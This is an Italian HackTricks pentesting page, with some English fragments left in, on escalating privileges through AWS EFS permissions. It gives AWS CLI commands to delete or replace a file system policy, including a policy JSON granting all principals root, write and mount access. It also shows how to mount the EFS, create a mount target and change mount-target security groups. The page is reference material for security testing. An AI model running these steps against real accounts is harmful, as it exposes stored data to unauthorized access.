# AWS - EFS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EFS

Maggiori **informazioni su EFS** in:

{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}

Ricorda che per montare un EFS devi trovarti in una sottorete dove l'EFS è esposto e avere accesso ad esso (security groups). Se questo è il caso, per impostazione predefinita sarai sempre in grado di montarlo; tuttavia, se è protetto da IAM policies devi avere le autorizzazioni extra menzionate qui per accedervi.

### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`

With any of those permissions an attacker can **modificare la policy del file system** per **darti l'accesso** ad esso, oppure semplicemente **cancellarla** in modo che venga concesso l'**accesso predefinito**.

Per cancellare la policy:
```bash
aws efs delete-file-system-policy \
--file-system-id <value>
```
Per cambiarlo:
```json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`

Con questo permesso un attaccante sarà in grado di **mount the EFS**. Se il write permission non è concesso di default a chiunque possa mount the EFS, avrà solo **read access**.
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
```
Le autorizzazioni aggiuntive `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` possono essere usate per **scrivere** all'interno del filesystem dopo che è montato e per **accedere** a quel file system **as root**.

**Impatto potenziale:** Privesc indiretto ottenendo informazioni sensibili presenti nel file system.

### `elasticfilesystem:CreateMountTarget`

Se un attacker si trova all'interno di una **subnetwork** dove **non esiste alcun mount target** dell'EFS, può semplicemente **crearne uno nella sua subnet** con questo privilegio:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
```
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel file system.

### `elasticfilesystem:ModifyMountTargetSecurityGroups`

In uno scenario in cui un attaccante scopre che l'EFS ha un mount target nella sua subnetwork ma **nessuna security group permette il traffico**, potrebbe semplicemente **abilitare il traffico modificando le security groups selezionate**:
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**Impatto potenziale:** privesc indiretto localizzando informazioni sensibili nel file system.

{{#include ../../../../banners/hacktricks-training.md}}
